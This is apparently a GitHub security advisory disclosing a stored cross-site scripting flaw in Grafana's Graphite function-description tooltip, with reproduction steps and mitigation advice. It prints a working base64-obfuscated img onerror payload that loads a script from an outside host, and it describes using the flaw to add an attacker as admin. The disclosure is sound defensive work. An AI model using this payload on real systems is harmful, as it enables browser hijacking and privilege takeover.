GHSA-qrrg-gw7w-vp76: Grafana Stored Cross-site Scripting in Graphite FunctionDescription tooltip
SummaryWhen a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use `Functions`. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example.DetailsSpin up your own Graphite instance. I've done this using the `make devenv sources=graphite`.Now start a terminal for your Graphite container and modify the following file `/opt/graphite/webapp/graphite/render/functions.py`Basically you can pick any function but I picked the `aggregateSeriesLists` function. Modify its description to be `"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>`The result would look like this:Save and quit the file. Restart your Graphite Container (I did this using the Restart Icon in Docker Desktop)Now login to your Grafana instance as an Organisation Admin.Navigate to http://[grafana]/plugins/graphite and click `Create a Graphite data source`Add the url to the attackers Graphite instance (maybe enable `Skip TLS Verify`) and click `Save & test` and `Explore`In the newly opened page click the + icon next to `Functions` and search for `aggregateSeriesLists` and click it to add it.Now hover over `aggregateSeriesLists` with your mouse and move your mouse to the `?` icon.ResultOur payload will trigger and in this case it will include an external script to trigger the alerts.Decoded payload![image](https://user-images.githubusercontent.com/26874824/225035735-5d00e5d9-3302-4257-8f95-dd562e752893.png)ImpactIn the POC we've picked 1 function to have a XSS payload, but a real attacker would of course maximize the likelihood by replacing all of it's descriptions with XSS payloads. As shown above the attacker can now run arbitrary javascript in the browser of the victim. The victim can be any user using the malicious Graphite instance in a query (or while Exploring), including the Organisation Admin. If so, an attacker could include a payload to add them as an admin themselves.An example would be something like this:MitigationThe vulnerability seems to occur in the following file: public\app\plugins\datasource\graphite\components\FunctionEditorControls.tsxIn many other similar cases, some form of sanitization is used. I would advise to use the same here as rst2html itself will just leave HTML untouched when parsing the expected reStructuredText from Graphite. So now when it is applied using dangerouslySetInnerHTML our XSS payload will survive.
CVSS v3.1: 6.2